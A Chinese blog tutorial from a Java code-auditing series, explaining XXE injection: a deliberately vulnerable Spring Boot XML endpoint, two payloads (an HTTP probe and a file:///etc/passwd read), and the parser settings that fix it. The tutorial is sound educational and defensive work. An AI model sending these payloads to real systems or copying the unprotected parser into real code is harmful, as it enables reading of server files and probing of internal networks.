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<h1 id="0x00-前提"><a href="#0x00-前提" class="headerlink" title="0x00 前提"></a>0x00 前提</h1><p>Java 代码审计自学：主要自己一个人学习，有点闭门造车，搜索引擎学习法，但是还是记录一下，也分享一下，也便于将来的总结和反思，如果我能终能学到什么，我也会重新梳理思路，为那些自学者提供一个好的思路，所以有了下面的系列文章java代码审计自学篇。</p>
<h1 id="0x01-XXE漏洞简介"><a href="#0x01-XXE漏洞简介" class="headerlink" title="0x01 XXE漏洞简介"></a>0x01 XXE漏洞简介</h1><p>XXE（XML外部实体注入，XML External Entity) ，在应用程序解析XML输入时，当允许引用外部实体时，可构造恶意内容，导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.<a target="_blank" rel="noopener" href="http://www.protocol/">www.protocol</a> 里的所有协议：http，https，file，ftp，mailto，jar，netdoc。一般利用file协议读取文件，利用http协议探测内网，没有回显时可组合利用file协议和ftp协议来读取文件。</p>
<h1 id="0x02-XXE相关基础概念"><a href="#0x02-XXE相关基础概念" class="headerlink" title="0x02 XXE相关基础概念"></a>0x02 XXE相关基础概念</h1><h2 id="XML-amp-DTD"><a href="#XML-amp-DTD" class="headerlink" title="XML&amp;DTD"></a>XML&amp;DTD</h2><p>XML （可扩展标记语言，EXtensible Markup Language），是一种标记语言，用来传输和存储数据，而非显示数据。<br>DTD（文档类型定义，Document Type Definition）的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。</p>
<h2 id="实体ENTITY"><a href="#实体ENTITY" class="headerlink" title="实体ENTITY"></a>实体ENTITY</h2><p>XML中的实体类型，一般有下面几种：字符实体、命名实体（或内部实体）、外部普通实体、外部参数实体。除外部参数实体外，其它实体都以字符（&amp;）开始，以字符（;）结束。</p>
<h1 id="0x03-XXE审计函数"><a href="#0x03-XXE审计函数" class="headerlink" title="0x03 XXE审计函数"></a>0x03 XXE审计函数</h1><p>XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口如下：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">javax.xml.parsers.DocumentBuilderFactory;</span><br><span class="line">javax.xml.parsers.SAXParser</span><br><span class="line">javax.xml.transform.TransformerFactory</span><br><span class="line">javax.xml.validation.Validator</span><br><span class="line">javax.xml.validation.SchemaFactory</span><br><span class="line">javax.xml.transform.sax.SAXTransformerFactory</span><br><span class="line">javax.xml.transform.sax.SAXSource</span><br><span class="line">org.xml.sax.XMLReader</span><br><span class="line">org.xml.sax.helpers.XMLReaderFactory</span><br><span class="line">org.dom4j.io.SAXReader</span><br><span class="line">org.jdom.input.SAXBuilder</span><br><span class="line">org.jdom2.input.SAXBuilder</span><br><span class="line">javax.xml.bind.Unmarshaller</span><br><span class="line">javax.xml.xpath.XpathExpression</span><br><span class="line">javax.xml.stream.XMLStreamReader</span><br><span class="line">org.apache.commons.digester3.Digester</span><br></pre></td></tr></table></figure>

<h1 id="0x04-漏洞代码例子"><a href="#0x04-漏洞代码例子" class="headerlink" title="0x04 漏洞代码例子"></a>0x04 漏洞代码例子</h1><p>使用spring boot框架写的小例子</p>
<p>询问一个常用的解析方法，选择一个有回显的方法，方便学习</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">  <span class="meta">@RequestMapping(value = &quot;/DocumentBuilder&quot;, method = RequestMethod.POST)</span></span><br><span class="line"><span class="comment">//直接POST XML数据报过来就行</span></span><br><span class="line">  <span class="keyword">public</span> String <span class="title function_">DocumentBuilderVuln</span><span class="params">(HttpServletRequest request)</span> &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">          <span class="comment">//获取boy</span></span><br><span class="line">          <span class="type">String</span> <span class="variable">body</span> <span class="operator">=</span> WebUtils.getRequestBody(request);</span><br><span class="line">				</span><br><span class="line">        	<span class="comment">//实例化DocumentBuilderFactory对象</span></span><br><span class="line">          <span class="type">DocumentBuilderFactory</span> <span class="variable">dbf</span> <span class="operator">=</span> DocumentBuilderFactory.newInstance();</span><br><span class="line">          <span class="type">DocumentBuilder</span> <span class="variable">db</span> <span class="operator">=</span> dbf.newDocumentBuilder();</span><br><span class="line">        	</span><br><span class="line">        	<span class="comment">//树立body里面xml转换流</span></span><br><span class="line">          <span class="type">StringReader</span> <span class="variable">sr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringReader</span>(body);</span><br><span class="line">          <span class="type">InputSource</span> <span class="variable">is</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InputSource</span>(sr);</span><br><span class="line">        	</span><br><span class="line">        	<span class="comment">//解析XML的对象，转化为Document对象</span></span><br><span class="line">          <span class="type">Document</span> <span class="variable">document</span> <span class="operator">=</span> db.parse(is); </span><br><span class="line">        </span><br><span class="line">          <span class="comment">// 遍历xml节点name和value</span></span><br><span class="line">          <span class="type">StringBuilder</span> <span class="variable">buf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">          <span class="type">NodeList</span> <span class="variable">rootNodeList</span> <span class="operator">=</span> document.getChildNodes();</span><br><span class="line">          <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; rootNodeList.getLength(); i++) &#123;</span><br><span class="line">              <span class="type">Node</span> <span class="variable">rootNode</span> <span class="operator">=</span> rootNodeList.item(i);</span><br><span class="line">              <span class="type">NodeList</span> <span class="variable">child</span> <span class="operator">=</span> rootNode.getChildNodes();</span><br><span class="line">              <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; child.getLength(); j++) &#123;</span><br><span class="line">                  <span class="type">Node</span> <span class="variable">node</span> <span class="operator">=</span> child.item(j);</span><br><span class="line">                  buf.append(String.format(<span class="string">&quot;%s: %s\n&quot;</span>, node.getNodeName(), node.getTextContent()));</span><br><span class="line">              &#125;</span><br><span class="line">          &#125;</span><br><span class="line">          sr.close();</span><br><span class="line">        	<span class="comment">//返回string 有回显</span></span><br><span class="line">          <span class="keyword">return</span> buf.toString();</span><br><span class="line">      &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">          logger.error(e.toString());</span><br><span class="line">          <span class="keyword">return</span> EXCEPT;</span><br><span class="line">      &#125;</span><br><span class="line">  </span><br></pre></td></tr></table></figure>

<h1 id="0x05-漏洞利用"><a href="#0x05-漏洞利用" class="headerlink" title="0x05 漏洞利用"></a>0x05 漏洞利用</h1><h2 id="http-协议探测"><a href="#http-协议探测" class="headerlink" title="http 协议探测"></a>http 协议探测</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">joychou</span> [</span></span><br><span class="line"><span class="meta">    <span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://127.0.0.1:8888&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>通过回显和延迟，粗略判断，或者DNS无回显探测</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA4MTkxODAwNTIucG5n?x-oss-process=image/format,png" alt="image-20200819180052434"></p>
<h2 id="FILE-协议-任意文件读取"><a href="#FILE-协议-任意文件读取" class="headerlink" title="FILE 协议 任意文件读取"></a>FILE 协议 任意文件读取</h2><p>poc：</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">joychou</span> [</span></span><br><span class="line"><span class="meta">    <span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///etc/passwd&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>成功读取 etc&#x2F;passwd</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA4MTkxODA0MjIucG5n?x-oss-process=image/format,png" alt="image-20200819180422865"></p>
<p>还有一些ooxml 这种后续再写其他的研究一下</p>
<h1 id="0x06-修复"><a href="#0x06-修复" class="headerlink" title="0x06 修复"></a>0x06 修复</h1><p>主要是这三句话，加入了禁止使用实体类</p>
<p>很多封装的方法，都是这样的去解决，都是禁用了ENTITY实体。</p>
<p>下面是DocumentBuilder禁用方法</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">dbf.setFeature(<span class="string">&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">            dbf.setFeature(<span class="string">&quot;http://xml.org/sax/features/external-general-entities&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">            dbf.setFeature(<span class="string">&quot;http://xml.org/sax/features/external-parameter-entities&quot;</span>, <span class="literal">false</span>);</span><br></pre></td></tr></table></figure>

<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RequestMapping(value = &quot;/Sec&quot;, method = RequestMethod.POST)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">DocumentBuilderSec</span><span class="params">(HttpServletRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">body</span> <span class="operator">=</span> WebUtils.getRequestBody(request);</span><br><span class="line">            <span class="type">DocumentBuilderFactory</span> <span class="variable">dbf</span> <span class="operator">=</span> DocumentBuilderFactory.newInstance();</span><br><span class="line">            dbf.setFeature(<span class="string">&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">            dbf.setFeature(<span class="string">&quot;http://xml.org/sax/features/external-general-entities&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">            dbf.setFeature(<span class="string">&quot;http://xml.org/sax/features/external-parameter-entities&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">            <span class="type">DocumentBuilder</span> <span class="variable">db</span> <span class="operator">=</span> dbf.newDocumentBuilder();</span><br><span class="line">            <span class="type">StringReader</span> <span class="variable">sr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringReader</span>(body);</span><br><span class="line">            <span class="type">InputSource</span> <span class="variable">is</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InputSource</span>(sr);</span><br><span class="line">            db.parse(is);  </span><br><span class="line">            sr.close();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            logger.error(e.toString());</span><br><span class="line">            <span class="keyword">return</span> EXCEPT;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;DocumentBuilder security code&quot;</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2020/08/19/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9AXXE%E6%BC%8F%E6%B4%9E/">https://godzeo.github.io/2020/08/19/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9AXXE%E6%BC%8F%E6%B4%9E/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span 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class="toc-text">0x01 XXE漏洞简介</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02-XXE%E7%9B%B8%E5%85%B3%E5%9F%BA%E7%A1%80%E6%A6%82%E5%BF%B5"><span class="toc-number">3.</span> <span class="toc-text">0x02 XXE相关基础概念</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#XML-amp-DTD"><span class="toc-number">3.1.</span> <span class="toc-text">XML&amp;DTD</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E4%BD%93ENTITY"><span class="toc-number">3.2.</span> <span class="toc-text">实体ENTITY</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03-XXE%E5%AE%A1%E8%AE%A1%E5%87%BD%E6%95%B0"><span class="toc-number">4.</span> <span class="toc-text">0x03 XXE审计函数</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04-%E6%BC%8F%E6%B4%9E%E4%BB%A3%E7%A0%81%E4%BE%8B%E5%AD%90"><span class="toc-number">5.</span> <span class="toc-text">0x04 漏洞代码例子</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x05-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-number">6.</span> <span class="toc-text">0x05 漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#http-%E5%8D%8F%E8%AE%AE%E6%8E%A2%E6%B5%8B"><span class="toc-number">6.1.</span> <span class="toc-text">http 协议探测</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#FILE-%E5%8D%8F%E8%AE%AE-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96"><span class="toc-number">6.2.</span> <span class="toc-text">FILE 协议 任意文件读取</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x06-%E4%BF%AE%E5%A4%8D"><span class="toc-number">7.</span> <span class="toc-text">0x06 修复</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div 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